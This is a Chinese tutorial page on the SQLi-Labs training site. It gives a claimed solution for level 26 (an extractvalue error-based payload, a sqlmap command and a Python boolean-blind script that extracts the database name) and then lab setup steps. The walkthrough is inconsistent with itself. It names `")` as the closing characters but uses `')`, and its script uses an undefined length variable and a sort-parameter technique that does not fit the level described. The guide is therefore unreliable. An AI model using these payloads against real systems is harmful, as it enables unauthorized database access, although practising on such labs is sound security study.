sqli-labs 26

"SQLi-Labs"是一个在线平台，用于实践和学习SQL注入（SQL Injection）技术，特别是针对Web开发人员的安全教育。第26关通常涉及更高级的SQL注入技巧，比如动态SQL、联合查询利用、存储过程攻击等。这个级别的挑战可能会涉及到复杂的情景，如防御机制绕过、权限管理和复合条件下的注入。

在这一关，你可能会遇到需要构造巧妙的SQL语句，以便获取或修改数据库中的数据，同时避开网站的安全防护措施。通过解决这样的问题，参与者可以提升对SQL注入漏洞的理解，以及如何在实际项目中预防和应对这种常见的安全威胁。

相关问题

sqli-labs26关

### SQLi-Labs 第26关 解法

对于SQL注入实验室（SQLi-Labs）中的第26关，目标在于利用特定的漏洞执行SQL注入攻击并获取数据库名称。此过程涉及多个步骤和技术的应用。

在这一关卡中，通过观察到闭合符为`")`，可以构建如下形式的有效载荷来进行测试[^3]：

') or extractvalue(1,concat(0x7e,database()))#

上述语句的作用是在查询条件部分引入了一个逻辑或操作，使得即使原始查询失败也能返回真值，并且借助`extractvalue()`函数尝试读取当前使用的数据库名[^1]。

为了自动化处理整个流程以及更高效地探索其他潜在的信息泄露途径，推荐使用专门设计用于自动检测和利用SQL注入弱点的工具——sqlmap。具体命令行参数设置如下所示[^2]：

python sqlmap.py -r s.txt --batch

其中`s.txt`文件包含了HTTP请求的相关细节，而`--batch`选项则指示程序以批处理模式运行，在遇到交互式提问时采用默认配置继续执行下去。

另外一种方法涉及到基于布尔型盲注技术来逐位猜解出数据库的名字字符。例如，可以通过比较ASCII码大小的方式来确定单个字符是否匹配预期值。下面给出了一段Python代码片段用来说明如何实现这一点[^4]：

import requests

def check_true_or_false(payload):
    url = "http://example.com/vulnerable_page"
    params = {"sort": payload}
    response = requests.get(url, params=params)
    
    if 'admin3' in response.text:
        return True
    elif 'Dumb' in response.text:
        return False
    
for i in range(1, len_of_db_name + 1):  # 假设已知数据库名字长度
    low, high = ord('a'), ord('z')
    while low <= high:
        mid = (low + high) >> 1
        test_char = chr(mid)

        true_payload = f"rand(ascii(substr((select database()),{i},1))>{ord(test_char)})--+"
        false_payload = f"rand(ascii(substr((select database()),{i},1))<{ord(test_char)+1})--+"

        is_greater_than_mid = check_true_or_false(true_payload)
        
        if not is_greater_than_mid and not check_true_or_false(false_payload):
            print(f"The {i}th character of the DB name might be '{test_char}'")
            break
        
        if is_greater_than_mid:
            low = mid + 1
        else:
            high = mid - 1

这段脚本会不断调整猜测范围直到找到符合条件的那个字母为止；需要注意的是实际应用过程中还需考虑更多边界情况及异常处理机制。

sqli-labs

### SQLi-Labs 下载、安装配置与渗透测试练习

#### 下载 SQLi-Labs
为了获取 SQLi-Labs 的最新版本，可以从 GitHub 上下载源码压缩包。访问链接并下载项目文件[^2]。

wget https://github.com/Audi-1/sqli-labs/archive/master.zip
unzip master.zip
cd sqli-labs-master/

#### 安装配置过程
完成下载后，在本地环境中设置 SQLi-Labs 所需的服务环境。对于希望简化部署流程的情况，可以考虑利用 Docker 来快速启动服务容器[^4]。

如果采用传统方式，则需要手动准备 Web 服务器（如 Apache 或 Nginx）、PHP 解析器以及 MySQL 数据库管理系统。确保这些组件已正确安装并运行良好之后，按照官方文档指示调整 PHP 和数据库连接参数。

当一切就绪时，通过浏览器访问 `http://localhost/sqli-labs` 并点击页面中的 **Setup/reset Database for labs** 按钮来初始化所需的实验数据表结构；一旦提示创建成功便意味着靶场已经准备好供学习者使用[^3]。

#### 渗透测试练习指南
SQLi-Labs 提供了一系列精心设计的任务场景，旨在帮助使用者掌握不同类型的 SQL 注入技巧：

- 基础错误注入：理解如何利用应用程序反馈的信息定位潜在漏洞。
- 报错注入：深入研究特定条件下产生的异常响应以提取敏感资料。
- 盲注：学会在无直接回显的情况下推测后台逻辑及构造有效攻击语句。
- 文件操作：探索 MySQL 对文件系统的交互能力及其安全风险。
- 复杂查询注入：尝试针对更高级别的 SQL 特性实施精确打击。

每种类型都配有详细的说明文档和支持脚本，鼓励学员循序渐进地挑战自我，逐步积累实战经验。